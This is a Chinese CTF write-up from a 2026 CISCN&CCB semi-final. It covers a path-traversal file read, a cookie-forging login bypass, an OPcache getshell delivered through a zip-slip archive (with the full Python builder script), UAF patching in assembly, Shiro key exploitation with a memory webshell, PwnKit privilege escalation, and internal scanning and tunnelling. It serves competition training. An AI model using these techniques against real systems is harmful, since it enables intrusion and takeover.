CISCN&CCB半决赛WriteUp

本文来自【星火计划】的【星火之声】投稿,来源于XJUSEC2026 年CISCN&CCB半决赛WriteUp。

如果您也想投稿相关文章,可将Markdown格式或Docx格式文档压缩后投递邮箱[email protected]

AWDP

Web

MediaDrive

先从攻击的思路出发的,因为只要会打肯定会fix,文件可以上传,可以读取,可以下载,但是分析源码也知道,ban的特别严格,基本上什么危险文件都上传不上去,文件上传的思路断掉,分析源码看到User类

分析每一个文件的开头会发现,都是先从cookie里面读取User的序列化字符串,可以发现这里可以修改路径

将路径先修改成/etc/,然后?F=passwd 抓包可以读取文件/etc/passwd 最后实在绕不过去,已经到第五轮,然后攻击不了,只能fix了,修起来很简单,直接在preview文件里面禁止用户去别的目录就行了,具体如下:

直接上传,fix成功

easy_time

第一步绕过登录:

再控制台输入,重定向到/dashboard

document.cookie = "user=admin; path=/";
document.cookie = "visited=yes; path=/";
location="/dashboard";

获得时间戳

index.php.bin可以看这篇文章利用PHP的OPcache机制getshell

利用index.php.bin

远程头像 URL:http://127.0.0.1/date.php 远程信息: type=text/html; charset=UTF-8 len=10 len=b'1769426974'

timestamp = 1769426974

# 将时间戳转换为小端序字节
little_endian_bytes = timestamp.to_bytes(4, byteorder='little')

# 将字节转换为十六进制字符串并添加空格
hex_string = ' '.join(f'{byte:02x}' for byte in little_endian_bytes)

print(hex_string)

#1e 50 77 69

计算opcache的值,这个值是/tmp/hash/var/www/html/的值,是后面覆盖文件时会用到、

phpinfo里面opcache开启了时间验证,index.php.bin还需要改变时间搓#1e 50 77 69这个就是我们获得的时间戳转换后的

8.2.6 API420220829 NTS  BIN_4888  //版本信息通过phpinfo.php获取

<?php 
highlight_file(__FILE__);
echo md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002");
?>

获得md5

将文件index.php.bin内容进行修改:

md5内容修改,同时根据上次获得的时间戳修改文件0040的前4伪。

import os
import zipfile
from pathlib import Path
ROOT_PATH = Path(__file__).parent.resolve()
def build_malicious_archive(base_dir: Path, source_file: str, internal_target_path: str, final_archive: str):
    ifnot base_dir.exists():
        base_dir.mkdir(parents=True, exist_ok=True)
    src_blob = base_dir / source_file
    out_package = base_dir / final_archive
    ifnot src_blob.exists():
        print(f"[-] 错误: 找不到源文件 {src_blob}")
        return
    try:
        with zipfile.ZipFile(out_package, 'w', compression=zipfile.ZIP_DEFLATED) as archive:
            archive.write(src_blob, arcname=internal_target_path)
        print(f"[+] 构件生成成功: {out_package}")
        print(f"[+] 注入路径节点: {internal_target_path}")
    except Exception as e:
        print(f"[-] 构建失败: {str(e)}")

SOURCE_BINARY = "index.php.bin"

TRAVERSAL_INJECTION_POINT = (
    "../../../../../../../../../../../../../../../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6"
    "/var/www/html/index.php.bin"
)

CARRIER_PACKAGE = "test.zip"

if __name__ == "__main__":
    build_malicious_archive(
        base_dir=ROOT_PATH,
        source_file=SOURCE_BINARY,
        internal_target_path=TRAVERSAL_INJECTION_POINT,
        final_archive=CARRIER_PACKAGE
    )

获得test.zip,上传文件,覆盖index.php

Pwn

catchme

UAF漏洞

定位到这里发现确实存在uaf漏洞

刚开始将free函数nop掉,check服务异常

然后把free函数plt表改为ret,check服务异常

决定写汇编修改,将指针置空

.text:0000000000000E05         mov   eax, [rbp+var_14]

.text:0000000000000E08         cdqe

.text:0000000000000E0A         lea   rdx, ds:0[rax*8]

.text:0000000000000E12         lea   rax, qword_202060

.text:0000000000000E19         mov   rax, [rdx+rax]

.text:0000000000000E1D         mov   rdi, rax    ; ptr

.text:0000000000000E20         call  _free

:0000000000000E25         mov   eax, 0

这是原来的汇编

我们把mov eax,0nop掉,然后跳转到其他段去修改汇编

这是目标段,先把原来的数据nop掉,然后抄写free函数的汇编

改为如图所示

原来的位置进行跳转

如图

Ubuntu运行发现没有段错误,直接打包提交

easy_rw_revenge

UAF漏洞

发现free之后确实没有置零,根据上一题的经验,继续尝试用汇编修改

同时题目给了delete函数

这是sub1A00的汇编,尝试将free之后的汇编与这段汇编结合

这是free的汇编

改为如图所示

改完之后

然后在ubuntu上成功运行

上交后patch通过

ISW

FLAG01

Fscan扫描

检测到漏洞,拿到shirokey,shiro工具

先检测密钥然后检测当前利用链子

一个个测试发现k1这个链子可以利用成功,拿到flag,然后上个内存马,方便命令执行

FLAG02

CVE-2021-4034提权(PwnKit)拿到root权限,然后root目录下拿到第二个flag

FLAG03

用vshell搭一个内网隧道,然后将fscan上传进去扫一下

端口扫描

端口扫描
192.168.45.100:135   msrcp
192.168.45.100:139   microsoft-ds
192.168.45.100:22    ssh | SSH-2.0-OpenSSH_7.4
192.168.45.100:445   microsoft-ds
192.168.45.100:2049  nfs
192.168.45.100:53
192.168.45.100:389   ldap

分析得到nfs可能会有共享文件夹 showmount -e 192.168.45.100

创建目录ccb,将这个目录挂载到192.168.45.50 ccb上

如果你觉得本篇文章有意思或者学到了新技术,不妨点个赞转发一下再走吧?


原始链接: https://mp.weixin.qq.com/s/69aC-cpQOLqpoVKNO51KKg
侵权请联系站方: [email protected]

相关推荐

换一批